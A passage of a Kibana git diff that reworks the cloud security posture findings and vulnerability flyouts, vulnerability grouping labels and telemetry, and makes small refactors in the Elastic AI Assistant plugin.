CspFinding) => [ const getDetailsList = ( data: CspFinding, ruleFlyoutLink?: string, - discoverDataViewLink?: string + discoverDataViewLink?: string, + euiTheme?: EuiThemeComputed<{}> ) => [ { title: ( - <> - - - {i18n.translate('xpack.csp.findings.findingsFlyout.overviewTab.ruleDescription', { - defaultMessage: 'Rule Description', - })} - - - - - {i18n.translate('xpack.csp.findings.findingsFlyout.overviewTab.showRuleDetails', { - defaultMessage: 'Show rule details', + + + +

    + {i18n.translate('xpack.csp.findings.findingsFlyout.overviewTab.ruleDescription', { + defaultMessage: 'Rule Description', })} - - - - +

    +
    +
    + + +

    +
    + + + {i18n.translate('xpack.csp.findings.findingsFlyout.overviewTab.showRuleDetails', { + defaultMessage: 'Show rule details', + })} + +
    +

    +
    +
    +
    + ), + description: data.rule?.description ? ( + {data.rule?.description} + ) : ( + EMPTY_VALUE ), - description: data.rule?.description ? {data.rule?.description} : EMPTY_VALUE, }, { - title: i18n.translate('xpack.csp.findings.findingsFlyout.overviewTab.alertsTitle', { - defaultMessage: 'Alerts', - }), + title: ( + +

    + {i18n.translate('xpack.csp.findings.findingsFlyout.overviewTab.alertsTitle', { + defaultMessage: 'Alerts', + })} +

    +
    + ), description: , }, { - title: i18n.translate('xpack.csp.findings.findingsFlyout.overviewTab.dataViewTitle', { - defaultMessage: 'Data View', - }), + title: ( + +

    + {i18n.translate('xpack.csp.findings.findingsFlyout.overviewTab.dataViewTitle', { + defaultMessage: 'Data View', + })} +

    +
    + ), description: discoverDataViewLink ? ( {CDR_MISCONFIGURATIONS_INDEX_PATTERN} ) : ( @@ -229,6 +282,7 @@ export const OverviewTab = ({ }) => { const { discover } = useKibana().services; const cdrMisconfigurationsDataView = useDataView(CDR_MISCONFIGURATIONS_DATA_VIEW_ID_PREFIX); + const { euiTheme } = useEuiTheme(); // link will navigate to our dataview in discover, filtered by the data source of the finding const discoverDataViewLink = useMemo( @@ -265,7 +319,7 @@ export const OverviewTab = ({ defaultMessage: 'About', }), id: 'detailsAccordion', - listItems: getDetailsList(data, ruleFlyoutLink, discoverDataViewLink), + listItems: getDetailsList(data, ruleFlyoutLink, discoverDataViewLink, euiTheme), }, { initialIsOpen: true, @@ -294,7 +348,7 @@ export const OverviewTab = ({ listItems: getEvidenceList(data), }, ].filter(truthy), - [data, discoverDataViewLink, hasEvidence, ruleFlyoutLink] + [data, discoverDataViewLink, euiTheme, hasEvidence, ruleFlyoutLink] ); return ( diff --git a/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/findings/third_party_integrations_callout.tsx b/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/findings/third_party_integrations_callout.tsx deleted file mode 100644 index 85b808391c7d3..0000000000000 --- a/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/findings/third_party_integrations_callout.tsx +++ /dev/null @@ -1,41 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0; you may not use this file except in compliance with the Elastic License - * 2.0. - */ - -import React from 'react'; -import { i18n } from '@kbn/i18n'; -import useLocalStorage from 'react-use/lib/useLocalStorage'; -import { EuiButton, EuiCallOut } from '@elastic/eui'; -import { FormattedMessage } from '@kbn/i18n-react'; -import { useAdd3PIntegrationRoute } from '../../common/api/use_wiz_integration_route'; -import { LOCAL_STORAGE_3P_INTEGRATIONS_CALLOUT_KEY } from '../../common/constants'; - -export const ThirdPartyIntegrationsCallout = () => { - const wizAddIntegrationLink = useAdd3PIntegrationRoute('wiz'); - const [userHasDismissedCallout, setUserHasDismissedCallout] = useLocalStorage( - LOCAL_STORAGE_3P_INTEGRATIONS_CALLOUT_KEY - ); - - if (userHasDismissedCallout) return null; - - return ( - setUserHasDismissedCallout(true)} - > - - - - - ); -}; diff --git a/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/rules/index.tsx b/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/rules/index.tsx index f404b6a82d215..92ff8292695c0 100644 --- a/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/rules/index.tsx +++ b/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/rules/index.tsx @@ -33,7 +33,7 @@ export const Rules = ({ match: { params } }: RouteComponentProps) - + { ]; switch (field) { - case VULNERABILITY_GROUPING_OPTIONS.RESOURCE_NAME: - return [...aggMetrics, getTermAggregation('resourceId', VULNERABILITY_FIELDS.RESOURCE_ID)]; - case VULNERABILITY_GROUPING_OPTIONS.CLOUD_ACCOUNT_NAME: + case VULNERABILITY_GROUPING_OPTIONS.RESOURCE_ID: + return [ + ...aggMetrics, + getTermAggregation('resourceName', VULNERABILITY_FIELDS.RESOURCE_NAME), + ]; + case VULNERABILITY_GROUPING_OPTIONS.CLOUD_ACCOUNT_ID: return [ ...aggMetrics, getTermAggregation('cloudProvider', VULNERABILITY_FIELDS.CLOUD_PROVIDER), diff --git a/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/vulnerabilities/latest_vulnerabilities_group_renderer.tsx b/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/vulnerabilities/latest_vulnerabilities_group_renderer.tsx index c05cff298fc34..190b3719a1499 100644 --- a/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/vulnerabilities/latest_vulnerabilities_group_renderer.tsx +++ b/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/vulnerabilities/latest_vulnerabilities_group_renderer.tsx @@ -52,9 +52,9 @@ export const groupPanelRenderer: GroupPanelRenderer @@ -70,9 +70,9 @@ export const groupPanelRenderer: GroupPanelRenderer - {bucket.key_as_string} {bucket.resourceId?.buckets?.[0]?.key} + {bucket.key_as_string} {bucket.resourceName?.buckets?.[0]?.key} @@ -80,9 +80,9 @@ export const groupPanelRenderer: GroupPanelRenderer ); - case VULNERABILITY_GROUPING_OPTIONS.CLOUD_ACCOUNT_NAME: + case VULNERABILITY_GROUPING_OPTIONS.CLOUD_ACCOUNT_ID: return nullGroupMessage ? ( - renderNullGroup(NULL_GROUPING_MESSAGES.CLOUD_ACCOUNT_NAME) + renderNullGroup(NULL_GROUPING_MESSAGES.CLOUD_ACCOUNT_ID) ) : ( {cloudProvider && ( diff --git a/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/vulnerabilities/test_subjects.ts b/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/vulnerabilities/test_subjects.ts index 8d4ea4691f9e9..86813af4d153c 100644 --- a/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/vulnerabilities/test_subjects.ts +++ b/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/vulnerabilities/test_subjects.ts @@ -30,3 +30,4 @@ export const VULNERABILITY_OVERVIEW_TAB_ID_MORE_BTN = 'vulnerability-overview-ta export const VULNERABILITY_OVERVIEW_TAB_ID_LESS_BTN = 'vulnerability-overview-tab-id-more-less'; export const VULNERABILITY_OVERVIEW_PUBLISHED_DATE = 'vulnerability-overview-tab-published-date'; export const VULNERABILITY_EMPTY_VALUE = 'vulnerability-empty-value'; +export const VULNERABILITY_RESOURCE_TABLE = 'vulnerability-resource-table'; diff --git a/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/vulnerabilities/translations.ts b/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/vulnerabilities/translations.ts index 33fe66d61c81b..882fdae728380 100644 --- a/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/vulnerabilities/translations.ts +++ b/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/vulnerabilities/translations.ts @@ -27,12 +27,12 @@ export const VULNERABILITIES_GROUPS_UNIT = ( const groupCount = hasNullGroup ? totalCount - 1 : totalCount; switch (selectedGroup) { - case VULNERABILITY_GROUPING_OPTIONS.RESOURCE_NAME: + case VULNERABILITY_GROUPING_OPTIONS.RESOURCE_ID: return i18n.translate('xpack.csp.vulnerabilities.groupUnit.resource', { values: { groupCount }, defaultMessage: `{groupCount} {groupCount, plural, =1 {resource} other {resources}}`, }); - case VULNERABILITY_GROUPING_OPTIONS.CLOUD_ACCOUNT_NAME: + case VULNERABILITY_GROUPING_OPTIONS.CLOUD_ACCOUNT_ID: return i18n.translate('xpack.csp.vulnerabilities.groupUnit.cloudAccount', { values: { groupCount }, defaultMessage: `{groupCount} {groupCount, plural, =1 {cloud account} other {cloud accounts}}`, @@ -58,10 +58,10 @@ export const NULL_GROUPING_UNIT = i18n.translate( ); export const NULL_GROUPING_MESSAGES = { - RESOURCE_NAME: i18n.translate('xpack.csp.vulnerabilities.grouping.resource.nullGroupTitle', { + RESOURCE_ID: i18n.translate('xpack.csp.vulnerabilities.grouping.resource.nullGroupTitle', { defaultMessage: 'No resource', }), - CLOUD_ACCOUNT_NAME: i18n.translate( + CLOUD_ACCOUNT_ID: i18n.translate( 'xpack.csp.vulnerabilities.grouping.cloudAccount.nullGroupTitle', { defaultMessage: 'No cloud account', @@ -73,11 +73,11 @@ export const NULL_GROUPING_MESSAGES = { }; export const GROUPING_LABELS = { - RESOURCE_NAME: i18n.translate('xpack.csp.vulnerabilities.groupBy.resource', { - defaultMessage: 'Resource', + RESOURCE: i18n.translate('xpack.csp.vulnerabilities.groupBy.resource', { + defaultMessage: 'Resource ID', }), - CLOUD_ACCOUNT_NAME: i18n.translate('xpack.csp.vulnerabilities.groupBy.cloudAccount', { - defaultMessage: 'Cloud account', + CLOUD_ACCOUNT: i18n.translate('xpack.csp.vulnerabilities.groupBy.cloudAccount', { + defaultMessage: 'Cloud account ID', }), }; diff --git a/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/vulnerabilities/vulnerabilities.tsx b/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/vulnerabilities/vulnerabilities.tsx index 90ffc4849c0b7..31d0f6f743169 100644 --- a/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/vulnerabilities/vulnerabilities.tsx +++ b/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/vulnerabilities/vulnerabilities.tsx @@ -10,7 +10,6 @@ import { findingsNavigation } from '@kbn/cloud-security-posture'; import { useCspSetupStatusApi } from '@kbn/cloud-security-posture/src/hooks/use_csp_setup_status_api'; import { useDataView } from '@kbn/cloud-security-posture/src/hooks/use_data_view'; import { EuiSpacer } from '@elastic/eui'; -import { ThirdPartyIntegrationsCallout } from '../findings/third_party_integrations_callout'; import { VULNERABILITIES_PAGE } from './test_subjects'; import { CDR_VULNERABILITIES_DATA_VIEW_ID_PREFIX } from '../../../common/constants'; import { NoVulnerabilitiesStates } from '../../components/no_vulnerabilities_states'; @@ -37,7 +36,6 @@ export const Vulnerabilities = () => { return ( -
    ', () => { getAllByText(mockVulnerabilityHit.package.fixed_version as string); }); + it('shows resource information in a table with correct fields', () => { + const { getByTestId } = render( + + + + ); + + const resourceTable = getByTestId(VULNERABILITY_RESOURCE_TABLE); + expect(resourceTable).toBeInTheDocument(); + + // Check that all resource fields are displayed in the table + const tableContent = resourceTable.textContent; + expect(tableContent).toContain('ID'); + expect(tableContent).toContain(mockVulnerabilityHit.resource?.id); + expect(tableContent).toContain('Name'); + expect(tableContent).toContain(mockVulnerabilityHit.resource?.name); + expect(tableContent).toContain('Package'); + expect(tableContent).toContain(mockVulnerabilityHit.package.name); + expect(tableContent).toContain('Version'); + expect(tableContent).toContain(mockVulnerabilityHit.package.version); + }); + it('Overview Tab with Qualys vulnerability renders multiple CVEs', async () => { const cvesToAppend = [ 'CVE-2022-11111', diff --git a/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/vulnerabilities/vulnerabilities_finding_flyout/vulnerability_finding_flyout.tsx b/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/vulnerabilities/vulnerabilities_finding_flyout/vulnerability_finding_flyout.tsx index 85db09ebd1755..c891b802e1ff5 100644 --- a/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/vulnerabilities/vulnerabilities_finding_flyout/vulnerability_finding_flyout.tsx +++ b/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/vulnerabilities/vulnerabilities_finding_flyout/vulnerability_finding_flyout.tsx @@ -19,10 +19,10 @@ const VulnerabilityFindingFlyout = ({ children, }: { vulnerabilityId: string | string[]; - resourceId: string; + resourceId?: string; packageName: string | string[]; packageVersion: string | string[]; - eventId: string; + eventId?: string; children: any; }) => { const { data } = useVulnerabilityFinding({ diff --git a/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/vulnerabilities/vulnerabilities_finding_flyout/vulnerability_finding_right/content.tsx b/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/vulnerabilities/vulnerabilities_finding_flyout/vulnerability_finding_right/content.tsx index 53a93994659e0..0cad71c111eaf 100644 --- a/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/vulnerabilities/vulnerabilities_finding_flyout/vulnerability_finding_right/content.tsx +++ b/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/vulnerabilities/vulnerabilities_finding_flyout/vulnerability_finding_right/content.tsx @@ -13,15 +13,13 @@ */ import React, { useMemo, useState } from 'react'; -import { EuiFlyoutBody, EuiSpacer, EuiTab, EuiTabs, useEuiTheme } from '@elastic/eui'; +import { EuiFlyoutBody, EuiSpacer, EuiTab, EuiTabs } from '@elastic/eui'; import { FindingsVulnerabilityFlyoutContentProps } from '@kbn/cloud-security-posture'; import { FormattedMessage } from '@kbn/i18n-react'; -import { isNativeCspFinding } from '@kbn/cloud-security-posture/src/utils/is_native_csp_finding'; import { VulnerabilityJsonTab } from '../vulnerability_json_tab'; import { VulnerabilityOverviewTab } from '../vulnerability_overview_tab'; import { VulnerabilityTableTab } from '../vulnerability_table_tab'; import { TAB_ID_VULNERABILITY_FLYOUT } from '../../test_subjects'; -import { MissingFieldsCallout } from '../../../configurations/findings_flyout/findings_flyout'; const overviewTabId = 'vuln-flyout-overview-tab'; const tableTabId = 'vuln-flyout-table-tab'; @@ -30,7 +28,6 @@ const jsonTabId = 'vuln-flyout-json-tab'; export const FindingsVulnerabilityFlyoutContent = ({ finding, }: FindingsVulnerabilityFlyoutContentProps) => { - const { euiTheme } = useEuiTheme(); const [selectedTabId, setSelectedTabId] = useState(overviewTabId); const tabs = useMemo( () => [ @@ -89,15 +86,8 @@ export const FindingsVulnerabilityFlyoutContent = ({ return ( <> {renderTabs()} - - {!isNativeCspFinding(finding) && selectedTabId === overviewTabId && ( -
    - -
    - )} - - {selectedTabContent} -
    + + {selectedTabContent} ); }; diff --git a/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/vulnerabilities/vulnerabilities_finding_flyout/vulnerability_finding_right/header.tsx b/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/vulnerabilities/vulnerabilities_finding_flyout/vulnerability_finding_right/header.tsx index 4df65003f9300..2b30c59d2c533 100644 --- a/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/vulnerabilities/vulnerabilities_finding_flyout/vulnerability_finding_right/header.tsx +++ b/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/vulnerabilities/vulnerabilities_finding_flyout/vulnerability_finding_right/header.tsx @@ -93,22 +93,20 @@ export const FindingsVulnerabilityFlyoutHeader = ({ href={referenceLink} target="_blank" color="primary" - css={{ - fontWeight: euiTheme.font.weight.semiBold, - }} + css={css` + display: flex; + align-items: center; + svg { + width: ${euiTheme.base}px; + height: ${euiTheme.base}px; + } + `} > {id} ) : ( - - {id} - + {id} ); }; @@ -121,10 +119,10 @@ export const FindingsVulnerabilityFlyoutHeader = ({ > {renderVulnerabilityId()} @@ -185,9 +183,9 @@ export const FindingsVulnerabilityFlyoutHeader = ({ Data source - {vulnerability.data_source?.URL ? ( + {vulnerability?.data_source?.URL ? ( - {vulnerability.data_source.ID} + {vulnerability?.data_source?.ID} ) : ( {EMPTY_VALUE} diff --git a/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/vulnerabilities/vulnerabilities_finding_flyout/vulnerability_overview_tab.tsx b/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/vulnerabilities/vulnerabilities_finding_flyout/vulnerability_overview_tab.tsx index 11c669a088eae..a2204c2d0e313 100644 --- a/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/vulnerabilities/vulnerabilities_finding_flyout/vulnerability_overview_tab.tsx +++ b/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/vulnerabilities/vulnerabilities_finding_flyout/vulnerability_overview_tab.tsx @@ -48,6 +48,7 @@ import { VulnerabilityDetectionRuleCounter } from './vulnerability_detection_rul import { CopyButton } from '../../../components/copy_button'; import { columns, convertObjectToArray } from '../../configurations/findings_flyout/overview_tab'; import { VulnerabilityIdContent } from './vulnerability_id_content'; +import { VULNERABILITY_RESOURCE_TABLE } from '../test_subjects'; const cvssVendors: Record = { nvd: 'NVD', @@ -294,12 +295,13 @@ const getResourceList = (vulnerabilityData: CspVulnerabilityFinding) => [ ), - description: vulnerabilityData.vulnerability.id ? ( + description: vulnerabilityData.vulnerability?.id ? ( ) : ( EMPTY_VALUE @@ -361,7 +363,7 @@ const getDetailsList = (

    ), - description: vulnerabilityData.vulnerability.published_date ? ( + description: vulnerabilityData.vulnerability?.published_date ? ( { - await createPipelineIfNotExists(esClient, scorePipelineIngestConfig, logger); - + await Promise.allSettled([ + createPipelineIfNotExists(esClient, scorePipelineIngestConfig, logger), + createPipelineIfNotExists(esClient, latestFindingsPipelineIngestConfig, logger), + ]); const [createVulnerabilitiesLatestIndexPromise, createBenchmarkScoreIndexPromise] = await Promise.allSettled([ createLatestIndex( @@ -62,7 +64,6 @@ export const initializeCspIndices = async ( if (!latestFindingsIndexAutoCreated) { try { - await createPipelineIfNotExists(esClient, latestFindingsPipelineIngestConfig, logger); await createLatestIndex( esClient, latestIndexConfigs.findings, diff --git a/x-pack/solutions/security/plugins/cloud_security_posture/server/lib/telemetry/collectors/accounts_stats_collector.ts b/x-pack/solutions/security/plugins/cloud_security_posture/server/lib/telemetry/collectors/accounts_stats_collector.ts index eb0af3b4c65b4..18ca56dbf02ab 100644 --- a/x-pack/solutions/security/plugins/cloud_security_posture/server/lib/telemetry/collectors/accounts_stats_collector.ts +++ b/x-pack/solutions/security/plugins/cloud_security_posture/server/lib/telemetry/collectors/accounts_stats_collector.ts @@ -54,6 +54,12 @@ interface AccountEntity { resources: { pods_count: Value; }; + kspm_namespaces_count: { + namespaces_count: Value; + }; + cspm_namespaces_count: { + namespaces_count: Value; + }; } const getAccountsStatsQuery = (): SearchRequest => ({ @@ -193,6 +199,34 @@ const getAccountsStatsQuery = (): SearchRequest => ({ }, }, }, + kspm_namespaces_count: { + filter: { + term: { + 'rule.benchmark.posture_type': 'kspm', + }, + }, + aggs: { + namespaces_count: { + cardinality: { + field: 'data_stream.namespace', + }, + }, + }, + }, + cspm_namespaces_count: { + filter: { + term: { + 'rule.benchmark.posture_type': 'cspm', + }, + }, + aggs: { + namespaces_count: { + cardinality: { + field: 'data_stream.namespace', + }, + }, + }, + }, }, }, }, @@ -223,6 +257,8 @@ const getCspmAccountsStats = ( agents_count: account.agents_count.value, nodes_count: account.nodes_count.value, pods_count: account.resources.pods_count.value, + kspm_namespaces_count: account.kspm_namespaces_count.namespaces_count.value, + cspm_namespaces_count: account.cspm_namespaces_count.namespaces_count.value, })); return cspmAccountsStats; diff --git a/x-pack/solutions/security/plugins/ecs_data_quality_dashboard/.eslintrc.js b/x-pack/solutions/security/plugins/ecs_data_quality_dashboard/.eslintrc.js index cee2d528612a7..8ea8fb65392c1 100644 --- a/x-pack/solutions/security/plugins/ecs_data_quality_dashboard/.eslintrc.js +++ b/x-pack/solutions/security/plugins/ecs_data_quality_dashboard/.eslintrc.js @@ -68,19 +68,24 @@ // eslint-disable-next-line import/no-nodejs-modules const path = require('path'); +const { execSync } = require('child_process'); + const minimatch = require('minimatch'); /** @type {Array.} */ -const RESTRICTED_IMPORTS = [ +const RESTRICTED_IMPORTS_PATHS = [ { name: 'enzyme', message: 'Please use @testing-library/react instead', }, ]; -// root directory of the project dynamically calculated -const ROOT_DIR = process.cwd(); -const ROOT_CLIMB_STRING = path.relative(__dirname, ROOT_DIR); // e.g. ../../../../.. +const ROOT_DIR = execSync('git rev-parse --show-toplevel', { + encoding: 'utf8', + cwd: __dirname, +}).trim(); + +const ROOT_CLIMB_STRING = path.relative(__dirname, ROOT_DIR); // i.e. '../../..' /** @type {import('eslint').Linter.Config} */ const rootConfig = require(`${ROOT_CLIMB_STRING}/.eslintrc`); // eslint-disable-line import/no-dynamic-require @@ -114,7 +119,7 @@ for (const override of overridesWithNoRestrictedImportRule) { // Dynamic duplicates removal for all restricted imports const existingPaths = modernConfig.paths.filter( (existing) => - !RESTRICTED_IMPORTS.some((restriction) => + !RESTRICTED_IMPORTS_PATHS.some((restriction) => typeof existing === 'string' ? existing === restriction.name : existing.name === restriction.name @@ -125,7 +130,7 @@ for (const override of overridesWithNoRestrictedImportRule) { const newRuleConfig = [ severity, { - paths: [...existingPaths, ...RESTRICTED_IMPORTS], + paths: [...existingPaths, ...RESTRICTED_IMPORTS_PATHS], patterns: modernConfig.patterns, }, ]; diff --git a/x-pack/solutions/security/plugins/elastic_assistant/common/constants.ts b/x-pack/solutions/security/plugins/elastic_assistant/common/constants.ts index db19ab38d9ee1..7fb7a82d5368f 100755 --- a/x-pack/solutions/security/plugins/elastic_assistant/common/constants.ts +++ b/x-pack/solutions/security/plugins/elastic_assistant/common/constants.ts @@ -5,6 +5,11 @@ * 2.0. */ +export { + SECURITY_FEATURE_ID_V3 as SECURITY_FEATURE_ID, + CASES_FEATURE_ID_V3 as CASES_FEATURE_ID, +} from '@kbn/security-solution-features/constants'; + export const PLUGIN_ID = 'elasticAssistant'; export const PLUGIN_NAME = 'elasticAssistant'; @@ -45,5 +50,3 @@ export const CAPABILITIES = `${BASE_PATH}/capabilities`; export const MINIMUM_AI_ASSISTANT_LICENSE = 'enterprise' as const; export const DEFAULT_DATE_FORMAT_TZ = 'dateFormat:tz' as const; -export const SECURITY_FEATURE_ID = 'siemV2' as const; -export const CASES_FEATURE_ID = 'securitySolutionCasesV3' as const; diff --git a/x-pack/solutions/security/plugins/elastic_assistant/docs/img/default_assistant_graph.png b/x-pack/solutions/security/plugins/elastic_assistant/docs/img/default_assistant_graph.png index bc798754dabda..e76c70a23ec04 100644 Binary files a/x-pack/solutions/security/plugins/elastic_assistant/docs/img/default_assistant_graph.png and b/x-pack/solutions/security/plugins/elastic_assistant/docs/img/default_assistant_graph.png differ diff --git a/x-pack/solutions/security/plugins/elastic_assistant/docs/img/default_attack_discovery_graph.png b/x-pack/solutions/security/plugins/elastic_assistant/docs/img/default_attack_discovery_graph.png index e6262d5b23e7a..569780cfd8b01 100644 Binary files a/x-pack/solutions/security/plugins/elastic_assistant/docs/img/default_attack_discovery_graph.png and b/x-pack/solutions/security/plugins/elastic_assistant/docs/img/default_attack_discovery_graph.png differ diff --git a/x-pack/solutions/security/plugins/elastic_assistant/kibana.jsonc b/x-pack/solutions/security/plugins/elastic_assistant/kibana.jsonc index 0ec8e5d3d960a..b6a74f13856fa 100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/kibana.jsonc +++ b/x-pack/solutions/security/plugins/elastic_assistant/kibana.jsonc @@ -33,6 +33,7 @@ "triggersActionsUi", "elasticAssistantSharedState", "aiAssistantManagementSelection", + "discover" ], "requiredBundles": [ "kibanaReact", diff --git a/x-pack/solutions/security/plugins/elastic_assistant/public/plugin.tsx b/x-pack/solutions/security/plugins/elastic_assistant/public/plugin.tsx index 7f98be726f9c5..60740cba665f8 100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/public/plugin.tsx +++ b/x-pack/solutions/security/plugins/elastic_assistant/public/plugin.tsx @@ -13,6 +13,7 @@ import { AssistantOverlay } from '@kbn/elastic-assistant'; import { Storage } from '@kbn/kibana-utils-plugin/public'; import { AssistantNavLink } from '@kbn/elastic-assistant/impl/assistant_context/assistant_nav_link'; import { KibanaThemeProvider } from '@kbn/react-kibana-context-theme'; +import { NavigationProvider } from '@kbn/security-solution-navigation'; import { ElasticAssistantPublicPluginSetupDependencies, ElasticAssistantPublicPluginStartDependencies, @@ -93,16 +94,18 @@ export class ElasticAssistantPublicPlugin }} > - - - - - - - - - - + + + + + + + + + + + + , diff --git a/x-pack/solutions/security/plugins/elastic_assistant/public/src/common/constants.ts b/x-pack/solutions/security/plugins/elastic_assistant/public/src/common/constants.ts index f4a5e1abc81b6..c8354c75a91f2 100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/public/src/common/constants.ts +++ b/x-pack/solutions/security/plugins/elastic_assistant/public/src/common/constants.ts @@ -5,9 +5,6 @@ * 2.0. */ -export const ASSISTANT_FEATURE_ID = 'securitySolutionAssistant' as const; -export const SECURITY_FEATURE_ID = 'siemV2' as const; export const ALERTS_PAGE_FILTER_OPEN = 'open'; export const ALERTS_PAGE_FILTER_ACKNOWLEDGED = 'acknowledged'; export const LOCAL_STORAGE_KEY = `securityAssistant`; -export const APP_ID = 'securitySolution' as const; diff --git a/x-pack/solutions/security/plugins/elastic_assistant/public/src/common/lib/telemetry/events/ai_assistant/types.ts b/x-pack/solutions/security/plugins/elastic_assistant/public/src/common/lib/telemetry/events/ai_assistant/types.ts index b2527b7ef43ee..8e56efc3c4ab8 100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/public/src/common/lib/telemetry/events/ai_assistant/types.ts +++ b/x-pack/solutions/security/plugins/elastic_assistant/public/src/common/lib/telemetry/events/ai_assistant/types.ts @@ -11,6 +11,7 @@ export enum AssistantEventTypes { AssistantInvoked = 'Assistant Invoked', AssistantMessageSent = 'Assistant Message Sent', AssistantQuickPrompt = 'Assistant Quick Prompt', + AssistantStarterPrompt = 'Assistant Starter Prompt', AssistantSettingToggled = 'Assistant Setting Toggled', } @@ -30,6 +31,10 @@ export interface ReportAssistantQuickPromptParams { promptTitle: string; } +export interface ReportAssistantStarterPromptParams { + promptTitle: string; +} + export interface ReportAssistantSettingToggledParams { alertsCountUpdated?: boolean; assistantStreamingEnabled?: boolean; @@ -39,6 +44,7 @@ export interface AssistantTelemetryEventsMap { [AssistantEventTypes.AssistantInvoked]: ReportAssistantInvokedParams; [AssistantEventTypes.AssistantMessageSent]: ReportAssistantMessageSentParams; [AssistantEventTypes.AssistantQuickPrompt]: ReportAssistantQuickPromptParams; + [AssistantEventTypes.AssistantStarterPrompt]: ReportAssistantStarterPromptParams; [AssistantEventTypes.AssistantSettingToggled]: ReportAssistantSettingToggledParams; } diff --git a/x-pack/solutions/security/plugins/elastic_assistant/public/src/components/get_comments/stream/index.tsx b/x-pack/solutions/security/plugins/elastic_assistant/public/src/components/get_comments/stream/index.tsx index eaee8150db0da..da12fc4119b8b 100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/public/src/components/get_comments/stream/index.tsx +++ b/x-pack/solutions/security/plugins/elastic_assistant/public/src/components/get_comments/stream/index.tsx @@ -89,8 +89,13 @@ export const StreamComment = ({ [content, transformMessage, pendingMessage] ); const isAnythingLoading = useMemo( - () => isFetching || isLoading || isStreaming, - [isFetching, isLoading, isStreaming] + () => + isFetching || + isLoading || + isStreaming || + // this indicates that the message has not yet started streaming + message.length === 0, + [message, isFetching, isLoading, isStreaming] ); const controls = useMemo(() => { if (!isControlsEnabled) { diff --git a/x-pack/solutions/security/plugins/elastic_assistant/public/src/context/assistant_context/assistant_provider.test.tsx b/x-pack/solutions/security/plugins/elastic_assistant/public/src/context/assistant_context/assistant_provider.test.tsx index 2bed09bd68558..d47f792ee0b03 100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/public/src/context/assistant_context/assistant_provider.test.tsx +++ b/x-pack/solutions/security/plugins/elastic_assistant/public/src/context/assistant_context/assistant_provider.test.tsx @@ -69,7 +69,6 @@ describe('AssistantProvider', () => { isStarterPromptsEnabled: expect.any(Boolean), }), assistantFeatures: expect.objectContaining({ - advancedEsqlGeneration: expect.any(Boolean), assistantModelEvaluation: expect.any(Boolean), defendInsights: expect.any(Boolean), }), diff --git a/x-pack/solutions/security/plugins/elastic_assistant/public/src/context/assistant_context/assistant_provider.tsx b/x-pack/solutions/security/plugins/elastic_assistant/public/src/context/assistant_context/assistant_provider.tsx index 3f9ca479e2915..dabff2d8e0d63 100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/public/src/context/assistant_context/assistant_provider.tsx +++ b/x-pack/solutions/security/plugins/elastic_assistant/public/src/context/assistant_context/assistant_provider.tsx @@ -46,6 +46,7 @@ export function AssistantProvider({ children }: { children: React.ReactElement } const inferenceEnabled = useInferenceEnabled(); const basePath = useBasePath(); + const { isVisible } = useIsNavControlVisible(); const assistantAvailability = useAssistantAvailability(); const assistantTelemetry = useAssistantTelemetry(); @@ -113,8 +114,6 @@ export function AssistantProvider({ children }: { children: React.ReactElement } ); }, [assistantContextValue, elasticAssistantSharedState.assistantContextValue]); - const { isVisible } = useIsNavControlVisible(); - if (!isVisible) { return null; } diff --git a/x-pack/solutions/security/plugins/elastic_assistant/public/src/hooks/assistant_availability/use_assistant_availability.test.ts b/x-pack/solutions/security/plugins/elastic_assistant/public/src/hooks/assistant_availability/use_assistant_availability.test.ts index 2b7c8765d9479..0be2ab01e3784 100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/public/src/hooks/assistant_availability/use_assistant_availability.test.ts +++ b/x-pack/solutions/security/plugins/elastic_assistant/public/src/hooks/assistant_availability/use_assistant_availability.test.ts @@ -8,18 +8,28 @@ import { useAssistantAvailability } from './use_assistant_availability'; import { useLicense } from '../licence/use_licence'; import { useKibana } from '../../context/typed_kibana_context/typed_kibana_context'; -import { ASSISTANT_FEATURE_ID, SECURITY_FEATURE_ID } from '../../common/constants'; import { LicenseService } from '../licence/license_service'; import { renderHook } from '@testing-library/react'; +import { SECURITY_FEATURE_ID } from 